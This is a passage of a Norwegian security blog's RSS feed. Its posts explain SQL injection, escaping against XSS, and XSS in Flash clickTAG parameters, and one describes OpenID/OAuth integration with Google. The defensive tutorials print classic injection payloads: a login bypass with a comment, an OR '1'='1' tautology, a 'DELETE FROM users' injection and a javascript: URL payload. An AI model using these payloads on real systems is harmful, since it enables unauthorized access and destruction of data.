<p>SQL-injection er angrep som utnytter metategn i SQL (for eksempel <code>' # --</code>) ved at uhåndterte metategn blir en del av SQL spørringen. Måten en angriper kan utføre et SQL-injection angrep på er å endre eksisterende eller generere nye databasespørringer ved å eksperimentere med ulike input til webapplikasjonen. Dette kan for eksempel være via påloggings- eller kommentarfelter. SQL-injection angrep vil lykkes i de tilfellene applikasjonen bygger SQL-spørringer basert på tekstinput fra brukeren, og sender spørringene til databasetjeneren uten å håndtere metategn. Metategn er altså tegn som har en spesiell betydning for databasetjeneren. Hvis en angriper lykkes med å infisere en SQL-spørring med slike metategn, kan det føre til at angriperen får mulighet til å lese, endre og/eller slette data han/hun ikke er autorisert for. SQL-injection angrep kan også benyttes i forsøk på å omgå autentiseringsmekansimer. For å unngå slike sårbarheter er det viktig at webarkitekter, utviklere og testere er kjent med SQL-injection og hvordan man kan hindre slike angrep fra å lykkes.</p>
<h2>Hvordan utføres SQL-injection?</h2>
<p>La oss se på et påloggingsskjema som eksempel, der brukeren av systemet må oppgi brukernavn og passord for å få tilgang til applikasjonen. Java-koden som plukker opp påloggingsinformasjonen og utfører spørringen mot databasen kan for eksempel se slik ut:<br />
<code><br />
String name = request.getParameter("username");<br />
String pwd= request.getParameter("password");<br />
query = "SELECT * FROM users WHERE username='" + name +"' AND password='" + pwd + "'";<br />
</code><br />
I eksemplet ovenfor vil programmet hente brukernavn og passord fra input parameterne, bygge en SQL-spørring og etterhvert sende spørringen til databasen. Så hvis brukeren skriver inn &#8220;James&#8221; som brukernavn og &#8220;test123&#8243; som passord vil spørringen se slik ut:<br />
<code><br />
SELECT * FROM users WHERE username='James' AND password='test123';<br />
</code><br />
Denne spørringen vil kjøre uten feil. Men hva skjer hvis vi forsøker med &#8220;James O&#8217;Connor&#8221; som brukernavn? Hvis ikke systemet håndterer metategn vil man få en feilmelding når denne spørringen kjøres i databasen. Grunnen til at dette feiler er at anførselstegnet som er en del av brukernavnet forveksles med anførselstegnene som markerer start og slutt for strenger i SQL. Med andre ord så vil en slik feilmelding gi en indikasjon på at systemet ikke håndterer metategn og dermed er sårbart for SQL-injection. Dette vil sannsynligvis motivere en angriper til å forsøke et SQL-injection angrep.</p>
<p>En måte å utføre et SQL-injection angrep på er å benytte <code>--</code>, som er kommentartegn i mange dialekter av SQL. Hvis man for eksempel benytter <code>James' -- </code>som brukernavn og lar passordfeltet være tomt, vil spørringen bli seende slik ut:<br />
<code><br />
SELECT * FROM users WHERE username='James' --' AND password='';<br />
</code><br />
Hvis James eksisterer som et brukernavn i databasen vil man kunne logge inn med dette brukernavnet uten å oppgi tilhørende passord. Her bruker man altså SQL-metategnene for å avslutte en streng og kommentering til å fjerne passordsjekken.</p>
<p>En annen måte å utføre et SQL-injection angrep på er å benytte noe som alltid evaluerer til &#8220;true&#8221;:<br />
<code><br />
SELECT * FROM users WHERE username='' OR '1'='1' AND Password='' OR '1'='1';<br />
</code><br />
I dette eksempelet har man skrevet inn<code> ' OR '1'='1' </code>som brukernavn og passord.</p>
<p>Hvis man har litt kjennskap til den bakenforliggende databasestrukturen kan man slette innhold i databasen ved og for eksempel benytte <code>'; DELETE FROM users-- </code>som brukernavn. Den nøstede spørringen som vil kjøres i databasen i dette tilfellet vil slette alt innhold fra brukertabellen og er vist i det etterfølgende eksemplet.<br />
<code ><br />
SELECT * FROM users WHERE username=''; DELETE FROM users--' AND PASSWORD='';<br />
</code></p>
<h2>Hvordan unngå SQL-injection?</h2>
<p>Til tross for at det er veldig enkelt å beskytte seg mot nettopp SQL-injection finnes det mange sårbare applikasjoner der ute. For å unngå slike sårbarheter har utviklere to valg; enten slutte å skrive dynamiske spørringer eller å hindre input fra brukeren som inneholder ondsinnet SQL fra å endre logikken i spørringen. Vi skal nå se på to mulige måter å beskytte seg mot SQL-injection angrep.</p>
<h3>Parameteriserte spørringer</h3>
<p>Parameteriserte spørringer er enkle å skrive, lett å forstå og er måten utviklere bør skrive databasespørringer på. Hvis man benytter parameteriserte spørringer vil rammeverket håndtere escaping ved å hindre at inputstrenger blir tolket som SQL metategn.</p>
<p>Under følger et kodeeksempel som bruker PreparedStatement, som er Java sin implementasjon av parameteriserte spørringer.<br />
<code><br />
String username = request.getParameter("userName");<br />
String query = "SELECT * FROM users WHERE username= ?";<br />
PreparedStatement statement = connection.prepareStatement( query );<br />
statement.setString( 1, username);<br />
ResultSet results = statement.executeQuery( );<br />
</code></p>
<p>Her tvinger bruken av parameteriserte spørringer utvikleren til å definere SQL-spørringene først, og deretter gi inn parametrene i etterkant. Ved å skille mellom kode og inputdata på denne måten hindrer man dermed databasespørringen fra å utøre operasjoner den ikke var tiltenkt i utgangspunktet. Hvis for eksempel en angriper førsøker å skrive inn <code>james' or '1'='1'</code> som brukernavn, vil spørringen lete etter et brukernavn som samsvarer med hele denne strengen.</p>
<p>Hibernate Query Language (HQL) har også de samme injeksjonsproblemene. Dette er på grunn av at HQL er en delmengde av SQL, og dermed tilbyr SQL-lignende spørringer. Heldigvis støtter også HQL parameteriserte spørringer, slik at man kan unngå disse problemene.<br />
<code><br />
Query safeHQLQuery = session.createQuery("from Address where streetName=:street");<br />
safeHQLQuery.setParameter("street", userSuppliedParameter);<br />
</code><br />
Under følger et eksempel på bruk av parameteriserte spørringer i C# .NET.  I dette eksemplet er det benyttet OleDbCommand(), men man kan bruke SqlCommand() på tilsvarende måte.<br />
<code ><br />
String query = "SELECT * FROM users WHERE username= ?";<br />
try {<br />
OleDbCommand command = new OleDbCommand(query, connection);<br />
command.Parameters.Add(new OleDbParameter("userName", UserName Name.Text));<br />
OleDbDataReader reader = command.ExecuteReader();<br />
} catch (OleDbException se) {<br />
// error handling<br />
}<br />
</code></p>
<p>Selv om eksemplene ovenfor tilhører Java og C# .NET, støtter også andre språk parameteriserte spørringer. Hvis man for eksempel ønsker å lese om hvordan man kan benytte parameteriserte spørringer i PHP, kan man lese mer om dette her: <a href="http://www.php.net/manual/en/pdo.prepared-statements.php">http://www.php.net/manual/en/pdo.prepared-statements.php</a>.</p>
<p>Oppfordringen er altså å benytte parameteriserte spørringer som løsning på SQL-injection problemet, men hvis man absolutt ikke kan benytte seg av dette kan man gjøre output escaping.</p>
<h3>Output escaping</h3>
<p>SQL-injection er mulig når data flytter seg over fra èn kontekst til en annen. Dette kan for eksempel være overgangen fra javakode til SQL. Her vi må være oppmerksomme og sørge for at datastrengen vi for eksempel skal sette inn i SQL-spørringen forblir en streng. Vi ønsker å hindre at tegn i tekststrengen tolkes som SQL metategn som da kan endre den tiltenkte oppførselen til spørringen, og dette kan også løses med output escaping. Output escaping er spesielt viktig å gjøre dersom man ikke tenker å benytte seg av parameteriserte spørringer. Som tidligere presisert, hvis man benytter seg av parameteriserte spørringer vil rammeverket håndtere escaping av metategn for oss. Man skal ha gode grunner for å bruke output encoding fremfor parameteriserte spørringer, men slike tilfeller kan for eksempel oppstå når man jobber med legacy kode og en omskrivning fra dynamiske spørringer til parameteriserte spørringer vil bli for kostbart. Applikasjoner som bygges fra grunnen av bør derimot benytte parameteriserte spørringer.</p>
<p>For Java kan man ta en titt på encoderen i <a href="http://www.owasp.org/index.php/ESAPI#tab=Home">ESAPI (OWASP Enterprise Security API)</a>. Man kan også lese om output escaping og ESAPI i <a href="http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet#Defense_Option_3:_Escaping_All_User_Supplied_Input">OWASP SQL Injection Prevention Cheat Sheet </a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://open.bekk.no/sql-injection/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Blogpostserie om sikkerhet</title>
		<link>http://open.bekk.no/blogpostserie-om-sikkerhet/</link>
		<comments>http://open.bekk.no/blogpostserie-om-sikkerhet/#comments</comments>
		<pubDate>Thu, 03 Mar 2011 07:00:29 +0000</pubDate>
		<dc:creator>Jøran Vagnby Lillesand</dc:creator>
				<category><![CDATA[Sikkerhet]]></category>
		<category><![CDATA[Teknologi]]></category>

		<guid isPermaLink="false">http://open.bekk.no/?p=4355</guid>
		<description><![CDATA[De kommende månedene legger vi i BEKKs sikkerhetsgruppe ut en serie innlegg om sikkerhet i webapplikasjoner. Følg med på BEKK Open for mer!]]></description>
			<content:encoded><![CDATA[<p>De kommende månedene legger vi i BEKKs sikkerhetsgruppe ut en serie innlegg om sikkerhet i webapplikasjoner. Postene vil først forklare en rekke sårbarheter og hvordan angripere går frem for å misbruke dem, før de gir en beskrivelse av hvordan man løser problemene i vanlige rammeverk. Serien vil være praktisk rettet og ha fokus både på tradisjonelle, velkjente sårbarheter i tillegg til nyere, mer ukjente angrep.</p>
<p>Først ute er den gamle klassikeren <a title="Rune Walsø Nergård gir en introduksjon til SQL injection" href="http://open.bekk.no/2011/03/03/sql-injection/">SQL-injection</a>. Følg med her på BEKK Open for mer!</p>
]]></content:encoded>
			<wfw:commentRss>http://open.bekk.no/blogpostserie-om-sikkerhet/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Riktig beskyttelse mot Cross Site Scripting- og SQL-injection-angrep</title>
		<link>http://open.bekk.no/riktig-beskyttelse-mot-cross-site-scripting-og-sql-injection/</link>
		<comments>http://open.bekk.no/riktig-beskyttelse-mot-cross-site-scripting-og-sql-injection/#comments</comments>
		<pubDate>Fri, 25 Jun 2010 12:11:49 +0000</pubDate>
		<dc:creator>Erlend Oftedal</dc:creator>
				<category><![CDATA[Sikkerhet]]></category>
		<category><![CDATA[Teknologi]]></category>
		<category><![CDATA[sql-injection]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://open.bekk.no/?p=2798</guid>
		<description><![CDATA[De siste årene har vi sett flere massive SQL-injection- og Cross Site Scripting (XSS)-angrep mot store siter. Twitter hadde nylig en XSS-feil og i begynnelsen av juni var det et stort angrep mot siter som kjørte en bestemt annonsekomponent. Beskyttelse mot denne type angrep, krever at man tenker på kontekst når man skriver kode. Validering [...]]]></description>
			<content:encoded><![CDATA[<p>De siste årene har vi sett flere massive <a href="http://www.owasp.org/index.php/SQL_Injection">SQL-injection</a>- og <a href="http://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29">Cross Site Scripting (XSS)</a>-angrep mot store siter. Twitter hadde nylig en XSS-feil og i begynnelsen av juni var det <a href="http://blog.eeye.com/network-security/mass-infection-via-sql-injection-of-iis-websites">et stort angrep mot siter som kjørte en bestemt annonsekomponent</a>. Beskyttelse mot denne type angrep, krever at man tenker på kontekst når man skriver kode.</p>
<p><strong>Validering av input er ikke løsningen</strong><br />
Tidligere snakket man ofte om at manglende validering av input var årsaken til disse feilene. Dette er dessverre ikke riktig. Validering av input handler om å sjekke at input er riktig i forhold til domenet. Dette vil riktignok stoppe mange angrep, men på langt nær alle. Et godt eksempel er navnet &#8220;Ken-Martin O&#8217;Conner&#8221;. Dette etternavnet inneholder flere tegn som også er kontrolltegn i SQL. For å kunne godta dette navnet må man ved validering av input godta både bindestrek og fnutter. Dermed vil man også tillate et angrep som <code>' OR '' LIKE '' --</code>. Man kan selvsagt forsøke å gjøre valideringen enda strengere, men man risikerer kjapt å avvise gyldig input.</p>
<p>Jeg sier ikke at validering av input er unødvendig &#8211; det er bare ikke løsningen på dette problemet.</p>
<p><strong>Kontekst og escaping</strong><br />
Problemet ved både XSS- og SQL-injection-feil er at data flyter fra en kontekst og over i en annen. Ved overgang fra f.eks. javakode til SQL, må vi sørge for at vi beholder semantikken. Skal vi sette inn en datastreng i en SQL-spørring, må vi sørge for at det forblir en streng. Dette gjør vi ved å foreta output escaping. For SQL er løsningen enkelt og greit å ta i bruk parameteriserte spørringer (prepared statements). Bruker vi prepared statements og gir inn parametrene i etterkant, vil rammeverket håndtere escaping av kontrolltegn for oss.</p>
<p>For XSS er det desverre noe vanskeligere. Når data forlater vår applikasjon og går over til noe browseren skal tolke, er det nemlig flere mulige kontekster. Vi kan skrive ut innhold i javascript, javascript i HTML, mellom HTML-tagger, i HTML-attributter osv. Og flere av disse kontekstene må behandles forskjellig. Vi kan begynne med input som skrives ut mellom HTML-tagger. Dette er den enkleste konteksten. Vi kan bruke dette eksempelet:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;div&gt;Du søkte på &quot;her kommer inputten&quot;&lt;/div&gt;</pre></div></div>

<p>For å hindre kjøring av script her, må vi sørge for at input ikke kan åpne nye tagger, f.eks. en <code>&lt;script&gt;</code>-tag. Dette gjør vi selvsagt da ved å erstatte <code>&gt;</code> med <code>&amp;gt;</code> og <code>&lt;</code> med <code>&amp;lt;</code>.</p>
<p>I HTML-attributter, må vi også passe oss for enkle eller doble fnutter alt etter hva som er brukt. Et eksempel på denne konteksten kan være:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;input type=&quot;text&quot; value=&quot;her kommer inputten&quot;  name=&quot;searchValue&quot; /&gt;</pre></div></div>

<p>Et typisk angrep ville i dette tilfellet ha brutt ut av <code>value</code>-attributtet og åpnet en javascript-event (f.eks. <code>onclick</code> eller <code>onmouseover</code>). Her må vi altså <code>"</code> med <code>&amp;quote;</code> og <code>'</code> med <code>&amp;#x27;</code> eller <code>&amp;#39;</code>. Men i noen tilfeller glemmer utviklere å bruke fnutter til å avgrense attributtverdier, så til og med et mellomrom kan lede til problemer.</p>
<p>Ser vi på javascript i HTML, kan det se slik ut:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">...
&lt;body&gt;
&lt;script&gt;
var searchTerms = 'her kommer inputten';
&lt;/script&gt;&lt;code&gt;
...
&lt;/body&gt;
...</pre></div></div>

<p>Her er det kanskje lett å tenke at det holder å legge til en backslash forann eventuelle enkle fnutter (<code>'</code> blir til <code>\'</code>), men vi må huske at vi er i en såkalt <strong>dobbel-kontekst</strong>: Javascript-kontekst inni en HTML-kontekst. Vi må derfor også passe oss for HTML-tegn. <a href="http://erlend.oftedal.no/blog/?blogid=91">Her er et eksempel på hvorfor man må escape for begge kontekster</a>.</p>
<p>For mer informasjon om de forskjellige XSS-kontekstene, se <a href="http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet">OWASP XSS Prevention Cheat Sheet</a>.</p>
<p>For .NET finnes det et bibliotek kalt <a href="http://wpl.codeplex.com/">Web Protection Library</a>. Dette biblioteket har en komponent som heter AntiXSS, som kan escape for forskjellige kontekster. For Java kan man f.eks. benytte <a href="http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html">encoderen i ESAPI</a>.</p>
<p><strong>Oppsummert</strong><br />
Beskyttelese mot disse angrepene må gjøres med kontekstbasert escaping idet vi bytter fra en kontekst til en annen.</p>
]]></content:encoded>
			<wfw:commentRss>http://open.bekk.no/riktig-beskyttelse-mot-cross-site-scripting-og-sql-injection/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Cross Site Scripting i flash</title>
		<link>http://open.bekk.no/cross-site-scripting-i-flash/</link>
		<comments>http://open.bekk.no/cross-site-scripting-i-flash/#comments</comments>
		<pubDate>Tue, 09 Feb 2010 13:49:01 +0000</pubDate>
		<dc:creator>Erlend Oftedal</dc:creator>
				<category><![CDATA[BEKK]]></category>
		<category><![CDATA[Sikkerhet]]></category>
		<category><![CDATA[Teknologi]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://open.bekk.no/?p=2416</guid>
		<description><![CDATA[Det har vært en del skriverier om sikkerhetsfeil i flash filer i det siste, f.eks. &#8220;Serious web vuln found in 8 million Flash files&#8221; og &#8220;XSS vulnerabilities in 34 millions flash files&#8221;. Det viser seg at dette ikke er et nytt problem, men snarere ett man ikke har fokusert på tidligere. Og her snakker vi [...]]]></description>
			<content:encoded><![CDATA[<p>Det har vært en del skriverier om sikkerhetsfeil i flash filer i det siste, f.eks. <a href="http://www.theregister.co.uk/2009/12/22/mass_flash_file_vulnerability/">&#8220;Serious web vuln found in 8 million Flash files&#8221;</a> og <a href="http://seclists.org/fulldisclosure/2010/Jan/178">&#8220;XSS vulnerabilities in 34 millions flash files&#8221;</a>. Det viser seg at dette ikke er et nytt problem, men snarere ett man ikke har fokusert på tidligere. Og her snakker vi da om feil i selve filene, ikke sikkerhetshull i selve flash-avspilleren.</p>
<p><strong>XSS i flash?</strong><br />
Problemene oppstår stort sett fordi flash-filmen tar inn parametere fra HTML/javascript. Disse parametrene brukes deretter uten å valideres først. Det kanskje vanligste eksempelet er at man ønsker å gjøre det enkelt å endre hvor brukeren skal sendes til når brukeren klikker på flashen. Dette kalles gjerne clickTag, og koden i selve flashen kan se slik ut:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">on <span style="color: #009900;">&#40;</span>release<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
   getURL <span style="color: #009900;">&#40;</span>_root.<span style="color: #660066;">clickTAG</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;_blank&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Problemet med dette oppstår fordi man kan linke direkte til flash-filen og gi inn parametere som url-parametere slik:</p>
<pre>http://url/til/flash-fil.swf?clickTAG=http://her/skal/brukeren</pre>
<p>I et angrep, kan dette utnyttes slik:</p>
<pre>http://url/til/flash-fil.swf?clickTAG=javascript:alert("xss")</pre>
<p>Man kan altså spesifisere en &#8220;javascript:&#8221; url, og dermed vil javascriptet kjøres nå brukeren trykker på linken.</p>
<p>Denne URLen kan så spres til potensielle offer via f.eks. falske eposter, twitter eller instant messaging. Siden URLen peker på et domene man stoler på, er det større sjanse for at offeret klikker på linken, men det vil selvsagt også avhenge av både av innholdet i flash og epost/melding.</p>
<p><strong>Hva kan jeg gjøre?</strong><br />
For å hindre denne typen angrep, bør man gjøre inputvalidering på de data man tar inn. En første idé er kanskje at man skal sjekke at URLen ikke starter med &#8220;javascript:&#8221;, men denne formen for blacklisting har flere problemer. For det første kan det skrives på mange måter (javascript, JAVASCRIPT, jaVaScriPT), og i tillegg kan man f.eks. ha mellomrom først (&#8221; javascript:&#8221;). Videre kan man også ha f.eks. <a href="http://en.wikipedia.org/wiki/Data_URI_scheme">data URLer</a> og Flash sin egen <a href="http://www.adobe.com/support/flash/action_scripts/actionscript_dictionary/actionscript_dictionary073.html">&#8220;asfunction:&#8221;</a>.<br />
Det er derfor bedre å bruke whitelisting, og heller si hva man tillater URLene å starte med. På <a href="http://www.adobe.com/resources/richmedia/tracking/designers_guide/">Adobes &#8220;Designer&#8217;s Guide: Building Macromedia Flash Banners with Tracking Capabilities&#8221;</a> foreslås følgende kode:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">on <span style="color: #009900;">&#40;</span>release<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
   <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>_root.<span style="color: #660066;">clickTAG</span>.<span style="color: #660066;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">0</span><span style="color: #339933;">,</span><span style="color: #CC0000;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #3366CC;">&quot;http:&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
      getURL<span style="color: #009900;">&#40;</span>_root.<span style="color: #660066;">clickTAG</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;_blank&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Denne tillater kun URLer som begynner med &#8220;http:&#8221;. Man kan utvide denne til å støtte flere typer, f.eks. slik:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">on <span style="color: #009900;">&#40;</span>release<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
   <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>_root.<span style="color: #660066;">clickTAG</span>.<span style="color: #660066;">substring</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">0</span><span style="color: #339933;">,</span><span style="color: #CC0000;">5</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span> <span style="color: #3366CC;">&quot;http:&quot;</span> <span style="color: #339933;">||</span> _root.<span style="color: #660066;">clickTAG</span>.<span style="color: #660066;">substring</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">0</span><span style="color: #339933;">,</span><span style="color: #CC0000;">6</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span> <span style="color: #3366CC;">&quot;https:&quot;</span> <span style="color: #339933;">||</span> _root.<span style="color: #660066;">clickTAG</span>.<span style="color: #660066;">substring</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">0</span><span style="color: #339933;">,</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span> <span style="color: #3366CC;">&quot;/&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
      getURL <span style="color: #009900;">&#40;</span>_root.<span style="color: #660066;">clickTAG</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;_blank&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Denne støtter både http, https og server-relative URLer (må begynne med slash). I de fleste tilfeller bør man gjøre dette enda strengere, ved å kun tillate URLer som peker på eget domene.</p>
<p><strong>Jeg vil lære mer</strong></p>
<ul>
<li><a href="http://www.adobe.com/devnet/flashplayer/articles/secure_swf_apps.html">Adobes guide &#8211; creating secure flash apps</a></li>
<li><a href="http://www.ivizsecurity.com/blog/web-application-security/testing-flash-applications-pen-tester-guide/">A Lazy Pen Tester’s Guide to Testing Flash Applications</a></li>
<li><a href="http://www.owasp.org/index.php/Category:OWASP_Flash_Security_Project">OWASP Flash Security Project</a></li>
<li><a href="http://link.brightcove.com/services/player/bcpid53904843001?bclid=26650927001&amp;bctid=26749138001">Video av &#8220;Blinded by flash&#8221;</a> (<a href="http://www.blackhat.com/presentations/bh-dc-09/Jagdale/BlackHat-DC-09-Jagdale-Blinded-by-Flash.pdf">slides</a>) &#8211; Prajakta Jagdale &#8211; Blackhat DC 2009</li>
<li><a href="http://www.blackhat.com/presentations/bh-dc-10/Bailey_Mike/BlackHat-DC-2010-Bailey-Neat-New-Ridiculous-flash-hacks-slides.pdf">Neat, New, and Ridiculous Flash Hacks</a> &#8211; Mike Bailey &#8211; Blackhat DC 2010</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://open.bekk.no/cross-site-scripting-i-flash/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>GMail and Google Calendar with OpenID and OAuth</title>
		<link>http://open.bekk.no/gmail-and-google-calendar-with-openid-and-oauth/</link>
		<comments>http://open.bekk.no/gmail-and-google-calendar-with-openid-and-oauth/#comments</comments>
		<pubDate>Fri, 18 Dec 2009 09:34:58 +0000</pubDate>
		<dc:creator>Aslak Hellesøy</dc:creator>
				<category><![CDATA[Fri Programvare]]></category>
		<category><![CDATA[Sikkerhet]]></category>
		<category><![CDATA[Teknologi]]></category>
		<category><![CDATA[Virksomhet 2.0]]></category>
		<category><![CDATA[Webarkitektur]]></category>
		<category><![CDATA[calendar]]></category>
		<category><![CDATA[github]]></category>
		<category><![CDATA[gmail]]></category>
		<category><![CDATA[heroku]]></category>
		<category><![CDATA[nith]]></category>
		<category><![CDATA[oauth]]></category>
		<category><![CDATA[openid]]></category>

		<guid isPermaLink="false">http://open.bekk.no/?p=2242</guid>
		<description><![CDATA[Have you ever wondered how you can display email and calendar events from Google in your own web site? Or how you can log in to your site using your Google account? Both staff and students at Norwegian School of Information Technology (NITH) use GMail and Google Calendar for internal communication. They hired BEKK to [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;"><img class="alignnone size-full wp-image-2267" title="openid_oauth" src="http://open.bekk.no/wp-content/uploads/2009/12/openid_oauth.png" alt="openid_oauth" width="300" height="83" /></p>
<p style="text-align: left;">Have you ever wondered how you can display email and calendar events from Google in your own web site? Or how you can log in to your site using your Google account? Both staff and students at <a href="http://nith.no/">Norwegian School of Information Technology</a> (NITH) use GMail and Google Calendar for internal communication. They hired BEKK to implement a new web site and intranet application. One of the features they wanted was GMail and Google Calendar integrated into their intranet, with a custom visual styling.</p>
<p style="text-align: left;">To achieve this we decided to use Google&#8217;s <a href="http://code.google.com/apis/accounts/docs/OpenID.html">OpenID+OAuth hybrid protocol</a> &#8211; a  <a href="http://step2.googlecode.com/svn/spec/openid_oauth_extension/latest/openid_oauth_extension.html">draft specification</a> proposed by Google.</p>
<p style="text-align: left;"><a href="http://openid.net/">OpenID</a> is an open standard for web site <em>authentication</em>. An <em>OpenID consumer</em> web site (for example an intranet or a wiki) can delegate user authentication to a centralised <em>OpenID provider</em> web site (for example MyOpenID.com or Google). This means less usernames and passwords to remember for end-users and single-sign-on (SSO) becomes easy to implement.</p>
<p style="text-align: left;"><a href="http://oauth.net/">OAuth</a> is an open standard for web site <em>authorisation</em>. This lets an <em>OAuth consumer</em> web site send and retrieve private information to/from an <em>OAuth provider</em> web site on behalf of an end-user.</p>
<p style="text-align: left;">NITH was kind enough to let us share some of the code we developed for them to illustrate how all of this works. The result is a <a href="http://oo-demo.heroku.com/">simple web application</a> that you can try out with your own Google account. The source code is available under the MIT license and you can download it from <a href="http://github.com/thormarius/oo">GitHub</a>. Both the sample application and the NITH.no site are hosted on <a href="http://heroku.com/">Heroku</a>, a top-notch hosting provider for <a href="http://rubyonrails.org/">Ruby on Rails</a> running on top of Amazon&#8217;s EC2 cloud. The applications are written in Ruby on Rails, but you can easily implement similar functionality on other platforms such as JEE, .NET, PHP etc using freely available OpenID and OAuth libraries.</p>
<p style="text-align: left;">Let&#8217;s first look at the user workflow. (The workflow illustrated here is a slight modification of how NITH&#8217;s intranet works).</p>
<p><strong>1) The user follows the Login link on the front page of the consumer application.</strong></p>
<p><strong> </strong><img class="alignnone size-full wp-image-2261" style="border: 1px solid black" title="internet" src="http://open.bekk.no/wp-content/uploads/2009/12/internet1.png" alt="internet" width="700" height="135" /></p>
<p><strong>2) The user is redirected to Google&#8217;s login page and logs in (OpenID authentication).</strong></p>
<p><img class="alignnone size-full wp-image-2249" style="border: 1px solid black" title="openid" src="http://open.bekk.no/wp-content/uploads/2009/12/openid.png" alt="openid" width="700" height="316" /></p>
<p><strong>3) The user authorises the Intranet application to access GMail and Google Calendar (OAuth).</strong></p>
<p><img class="alignnone size-full wp-image-2250" style="border: 1px solid black" title="oauth" src="http://open.bekk.no/wp-content/uploads/2009/12/oauth2.png" alt="oauth" width="700" height="313" /></p>
<p><strong>4) The user is redirected back to the consumer application which displays GMail and Google Calendar.</strong></p>
<p><img class="alignnone size-full wp-image-2292" style="border: 1px solid black" title="intranet" src="http://open.bekk.no/wp-content/uploads/2009/12/intranet1.png" alt="intranet" width="700" height="374" /></p>
<p style="text-align: left;">If the user checks the &#8220;remember me&#8221; checkboxes, step 2 and 3 will be skipped in the future.</p>
<p style="text-align: left;">If you want to implement a similar integration with Google in your own application, here are the main steps:</p>
<p style="text-align: left;"><strong>Register your domain at Google</strong></p>
<p style="text-align: left;">Google&#8217;s OAuth service requires any OAuth consumer to be pre-registered before it can use the service. To do this, go to <a href="https://www.google.com/accounts/ManageDomains">Google&#8217;s Domain registration page</a> and register information about your site. You only have to register the domain name.</p>
<p style="text-align: left;">Google will then provide you with a static HTML file that you must serve from your domain. When you have uploaded this HTML file, click &#8220;verify domain&#8221; on Google&#8217;s registration page.</p>
<p style="text-align: left;"><strong>Use your OAuth consumer secret</strong></p>
<p style="text-align: left;">When you register your domain with Google, you will also be given an OAuth consumer secret (a simple String token) that your consumer application must use when connecting to Google. This consumer secret is bound to the domain name, so it cannot be used from any other host, including localhost.</p>
<p style="text-align: left;"><strong>Find an OpenID library that supports Google&#8217;s OpenID+OAuth hybrid protocol</strong></p>
<p style="text-align: left;">This is the hardest part. The natural choice for a Rails application using OpenID is to use the &#8220;official&#8221; <a href="http://openidenabled.com/ruby-openid/">ruby-openid</a> library. However, this library doesn&#8217;t support the hybrid protocol, so we had to use <a href="http://github.com/aslakhellesoy/ruby-openid">Aslak&#8217;s fork</a> of <a href="http://github.com/pelle/ruby-openid">Pelle Braendgaard&#8217;s ruby-openid fork</a>. We also had to use Pelle&#8217;s slightly modified fork of Rails&#8217; <a href="http://github.com/pelle/open_id_authentication/network">open_id_authentication</a> library.</p>
<p style="text-align: left;">Until the OpenID+OAuth hybrid protocol becomes an official extension to the OpenID protocol you will not find support for it in all OpenID libraries, but they are all open source &#8211; so you have the freedom to add this yourself. Open source wins again.</p>
<p style="text-align: left;"><strong>Summing up</strong></p>
<p style="text-align: left;">OpenID and OAuth are supported by an increasing number of libraries and web sites. Google is by no means the only site supporting the protocols (and to be honest &#8211; Google&#8217;s implementation deviates a little from the standard). If you are considering implementing some kind of single sign on we recommend you consider these protocols.</p>
]]></content:encoded>
			<wfw:commentRss>http://open.bekk.no/gmail-and-google-calendar-with-openid-and-oauth/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>JSON, AJAX og sikkerhet</title>
		<link>http://open.bekk.no/json-ajax-og-sikkerhet/</link>
		<comments>http://open.bekk.no/json-ajax-og-sikkerhet/#comments</comments>
		<pubDate>Wed, 14 Oct 2009 04:12:39 +0000</pubDate>
